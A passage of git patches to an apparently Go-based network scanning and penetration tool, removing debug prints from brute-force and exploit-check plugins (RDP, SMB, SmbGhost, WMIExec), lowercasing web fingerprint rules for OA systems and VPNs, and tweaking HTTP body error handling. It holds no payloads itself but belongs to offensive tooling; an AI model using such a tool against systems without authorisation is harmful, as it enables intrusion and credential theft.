b/Plugins/Postgres.go index 33b1314..d2a8b89 100644 --- a/Plugins/Postgres.go +++ b/Plugins/Postgres.go @@ -14,7 +14,6 @@ func PostgresScan(info *Common.HostInfo) (tmperr error) { if Common.IsBrute { return } - fmt.Println("[+] Postgre扫描模块开始...") starttime := time.Now().Unix() @@ -44,7 +43,6 @@ func PostgresScan(info *Common.HostInfo) (tmperr error) { } } } - fmt.Println("[+] Postgre扫描模块结束...") return tmperr } From 95d806d4a93cecfaa88b4f53b09a564a03fe3bee Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Thu, 19 Dec 2024 22:34:49 +0800 Subject: [PATCH 72/80] Update RDP.go --- Plugins/RDP.go | 2 -- 1 file changed, 2 deletions(-) diff --git a/Plugins/RDP.go b/Plugins/RDP.go index 9763705..3bbfab3 100644 --- a/Plugins/RDP.go +++ b/Plugins/RDP.go @@ -33,7 +33,6 @@ func RdpScan(info *Common.HostInfo) (tmperr error) { if Common.IsBrute { return } - fmt.Println("[+] Rdp扫描模块开始...") var ( wg sync.WaitGroup @@ -70,7 +69,6 @@ func RdpScan(info *Common.HostInfo) (tmperr error) { for !signal { } - fmt.Println("[+] Rdp扫描模块结束...") return tmperr } From 346ece01f6f1dea25d00a4b001bf6fc4fd80642a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Thu, 19 Dec 2024 22:35:53 +0800 Subject: [PATCH 73/80] Update SMB.go --- Plugins/SMB.go | 2 -- 1 file changed, 2 deletions(-) diff --git a/Plugins/SMB.go b/Plugins/SMB.go index 8f9f351..ffd5c6b 100644 --- a/Plugins/SMB.go +++ b/Plugins/SMB.go @@ -15,7 +15,6 @@ func SmbScan(info *Common.HostInfo) (tmperr error) { if Common.IsBrute { return nil } - fmt.Println("[+] Smb扫描模块开始...") startTime := time.Now().Unix() @@ -61,7 +60,6 @@ func SmbScan(info *Common.HostInfo) (tmperr error) { } } } - fmt.Println("[+] Smb扫描模块结束...") return tmperr } From 08ba177f52e2034e2c85650cbaa3e05cc0757c88 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Thu, 19 Dec 2024 22:36:49 +0800 Subject: [PATCH 74/80] Update SMB2.go --- Plugins/SMB2.go | 2 -- 1 file changed, 2 deletions(-) diff --git a/Plugins/SMB2.go b/Plugins/SMB2.go index 3bfcd29..1e157c3 100644 --- a/Plugins/SMB2.go +++ b/Plugins/SMB2.go @@ -18,7 +18,6 @@ func SmbScan2(info *Common.HostInfo) (tmperr error) { if Common.IsBrute { return nil } - fmt.Println("[+] Smb2扫描模块开始...") hasprint := false startTime := time.Now().Unix() @@ -57,7 +56,6 @@ func smbHashScan(info *Common.HostInfo, hasprint bool, startTime int64) error { } } } - fmt.Println("[+] Smb2扫描模块结束...") return nil } From 1cfedda2ce1f160f82654ce82833b54d6be472d8 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Thu, 19 Dec 2024 22:38:32 +0800 Subject: [PATCH 75/80] Update SmbGhost.go --- Plugins/SmbGhost.go | 2 -- 1 file changed, 2 deletions(-) diff --git a/Plugins/SmbGhost.go b/Plugins/SmbGhost.go index bffdc8e..1615dd0 100644 --- a/Plugins/SmbGhost.go +++ b/Plugins/SmbGhost.go @@ -101,10 +101,8 @@ func SmbGhost(info *Common.HostInfo) error { return nil } - fmt.Println("[+] SmbGhost扫描模块开始...") // 执行实际的SMB Ghost漏洞扫描 err := SmbGhostScan(info) - fmt.Println("[+] SmbGhost扫描模块结束...") return err } From c3c413ebc02a0c542456476681a35bd3a30677f1 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Thu, 19 Dec 2024 22:40:19 +0800 Subject: [PATCH 76/80] Update WMIExec.go --- Plugins/WMIExec.go | 2 -- 1 file changed, 2 deletions(-) diff --git a/Plugins/WMIExec.go b/Plugins/WMIExec.go index 625355c..ec38746 100644 --- a/Plugins/WMIExec.go +++ b/Plugins/WMIExec.go @@ -37,7 +37,6 @@ func WmiExec(info *Common.HostInfo) (tmperr error) { if Common.IsBrute { return nil } - fmt.Println("[+] WmiExec扫描模块开始...") starttime := time.Now().Unix() @@ -92,7 +91,6 @@ func WmiExec(info *Common.HostInfo) (tmperr error) { } } } - fmt.Println("[+] WmiExec扫描模块结束...") return tmperr } From 45a861d4f1edeaa538c594b85b4250b3a202b519 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Thu, 19 Dec 2024 22:41:07 +0800 Subject: [PATCH 77/80] Update WebTitle.go --- Plugins/WebTitle.go | 2 -- 1 file changed, 2 deletions(-) diff --git a/Plugins/WebTitle.go b/Plugins/WebTitle.go index 59eb76c..9f8bc0b 100644 --- a/Plugins/WebTitle.go +++ b/Plugins/WebTitle.go @@ -25,7 +25,6 @@ func WebTitle(info *Common.HostInfo) error { WebScan.WebScan(info) return nil } - fmt.Println("[+] WebTitle扫描模块开始...") // 获取网站标题信息 err, CheckData := GOWebTitle(info) @@ -46,7 +45,6 @@ func WebTitle(info *Common.HostInfo) error { Common.LogError(errlog) } - fmt.Println("[+] WebTitle扫描模块结束...") return err } From 01ae22119d34d1bb1ce0d16b0c1ab8b3b12f8be5 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Thu, 19 Dec 2024 22:42:38 +0800 Subject: [PATCH 78/80] Update Rules.go --- WebScan/info/Rules.go | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/WebScan/info/Rules.go b/WebScan/info/Rules.go index d4d1dd5..e7184db 100644 --- a/WebScan/info/Rules.go +++ b/WebScan/info/Rules.go @@ -72,7 +72,7 @@ var RuleDatas = []RuleData{ {"atmail-WebMail", "cookie", "(atmail6)"}, {"atmail-WebMail", "code", "(/index.php/mail/auth/processlogin|Powered by Atmail)"}, {"weblogic", "code", "(/console/framework/skins/wlsconsole/images/login_WebLogic_branding.png|Welcome to Weblogic Application Server|Hypertext Transfer Protocol -- HTTP/1.1)"}, - {"致远OA", "code", "(/seeyon/Common/|/seeyon/USER-DATA/IMAGES/LOGIN/login.gif)"}, + {"致远OA", "code", "(/seeyon/common/|/seeyon/USER-DATA/IMAGES/LOGIN/login.gif)"}, {"discuz", "code", "(content=\"Discuz! X\")"}, {"Typecho", "code", "(Typecho)"}, {"金蝶EAS", "code", "(easSessionId)"}, @@ -88,10 +88,10 @@ var RuleDatas = []RuleData{ {"CISCO_EPC3925", "code", "(Docsis_system)"}, {"CISCO ASR", "code", "(CISCO ASR)"}, {"H3C ER3200", "code", "(ER3200系统管理)"}, - {"万户oa", "code", "(/defaultroot/templates/template_system/Common/css/|/defaultroot/scripts/|css/css_whir.css)"}, + {"万户oa", "code", "(/defaultroot/templates/template_system/common/css/|/defaultroot/scripts/|css/css_whir.css)"}, {"Spark_Master", "code", "(Spark Master at)"}, {"华为_HUAWEI_SRG2220", "code", "(HUAWEI SRG2220)"}, - {"蓝凌OA", "code", "(/scripts/jquery.landray.Common.js)"}, + {"蓝凌OA", "code", "(/scripts/jquery.landray.common.js)"}, {"深信服ssl-vpn", "code", "(login_psw.csp)"}, {"华为 NetOpen", "code", "(/netopen/theme/css/inFrame.css)"}, {"Citrix-Web-PN-Server", "code", "(Citrix Web PN Server)"}, @@ -229,14 +229,14 @@ var RuleDatas = []RuleData{ {"帕拉迪统一安全管理和综合审计系统", "code", "(module/image/pldsec.css)"}, {"蓝盾BDWebGuard", "code", "(BACKGROUND: url(images/loginbg.jpg) #e5f1fc)"}, {"Huawei SMC", "code", "(Script/SmcScript.js?version=)"}, - {"coremail", "code", "(/coremail/bundle/|contextRoot: \"/coremail\"|coremail/Common)"}, + {"coremail", "code", "(/coremail/bundle/|contextRoot: \"/coremail\"|coremail/common)"}, {"activemq", "code", "(activemq_logo|Manage ActiveMQ broker)"}, {"锐捷网络", "code", "(static/img/title.ico|support.ruijie.com.cn|Ruijie - NBR|eg.login.loginBtn)"}, {"禅道", "code", "(/theme/default/images/main/zt-logo.png|zentaosid)"}, {"weblogic", "code", "(/console/framework/skins/wlsconsole/images/login_WebLogic_branding.png|Welcome to Weblogic Application Server|Hypertext Transfer Protocol -- HTTP/1.1|Error 404--Not Found|Welcome to Weblogic Application Server|Oracle WebLogic Server 管理控制台)"}, {"weblogic", "headers", "(WebLogic)"}, - {"致远OA", "code", "(/seeyon/USER-DATA/IMAGES/LOGIN/login.gif|/seeyon/Common/)"}, - {"蓝凌EIS智慧协同平台", "code", "(/scripts/jquery.landray.Common.js)"}, + {"致远OA", "code", "(/seeyon/USER-DATA/IMAGES/LOGIN/login.gif|/seeyon/common/)"}, + {"蓝凌EIS智慧协同平台", "code", "(/scripts/jquery.landray.common.js)"}, {"深信服ssl-vpn", "code", "(login_psw.csp|loginPageSP/loginPrivacy.js|/por/login_psw.csp)"}, {"Struts2", "code", "(org.apache.struts2|Struts Problem Report|struts.devMode|struts-tags|There is no Action mapped for namespace)"}, {"泛微OA", "code", "(/spa/portal/public/index.js|wui/theme/ecology8/page/images/login/username_wev8.png|/wui/index.html#/?logintype=1)"}, @@ -246,7 +246,7 @@ var RuleDatas = []RuleData{ {"用友NC", "code", "(Yonyou UAP|YONYOU NC|/Client/Uclient/UClient.dmg|logo/images/ufida_nc.png|iufo/web/css/menu.css|/System/Login/Login.asp?AppID=|/nc/servlet/nc.ui.iufo.login.Index)"}, {"用友IUFO", "code", "(iufo/web/css/menu.css)"}, {"TELEPORT堡垒机", "code", "(/static/plugins/blur/background-blur.js)"}, - {"JEECMS", "code", "(/r/cms/www/red/js/Common.js|/r/cms/www/red/js/indexshow.js|Powered by JEECMS|JEECMS|/jeeadmin/jeecms/index.do)"}, + {"JEECMS", "code", "(/r/cms/www/red/js/common.js|/r/cms/www/red/js/indexshow.js|Powered by JEECMS|JEECMS|/jeeadmin/jeecms/index.do)"}, {"CMS", "code", "(Powered by .*CMS)"}, {"目录遍历", "code", "(Directory listing for /)"}, {"ATLASSIAN-Confluence", "code", "(com.atlassian.confluence)"}, From 1bafa4d6f5f343426bba533f349c005e1f575553 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Thu, 19 Dec 2024 22:59:28 +0800 Subject: [PATCH 79/80] Update Eval.go --- WebScan/lib/Eval.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/WebScan/lib/Eval.go b/WebScan/lib/Eval.go index a1cb77b..94a54ff 100644 --- a/WebScan/lib/Eval.go +++ b/WebScan/lib/Eval.go @@ -769,7 +769,7 @@ func ParseResponse(oResp *http.Response) (*Response, error) { func getRespBody(oResp *http.Response) ([]byte, error) { // 读取原始响应体 body, err := io.ReadAll(oResp.Body) - if err != nil && err != io.EOF { + if err != nil && err != io.EOF && len(body) == 0 { return nil, err } From 59cc4624673107117f49c9215500106966b0d255 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Thu, 19 Dec 2024 23:01:17 +0800 Subject: [PATCH 80/80] Update Eval.go --- WebScan/lib/Eval.go | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/WebScan/lib/Eval.go b/WebScan/lib/Eval.go index 94a54ff..eaf0312 100644 --- a/WebScan/lib/Eval.go +++ b/WebScan/lib/Eval.go @@ -782,9 +782,12 @@ func getRespBody(oResp *http.Response) ([]byte, error) { defer reader.Close() decompressed, err := io.ReadAll(reader) - if err != nil && err != io.EOF { + if err != nil && err != io.EOF && len(decompressed) == 0{ return nil, err } + if len(decompressed) == 0 && len(body) != 0{ + return body, nil + } return decompressed, nil }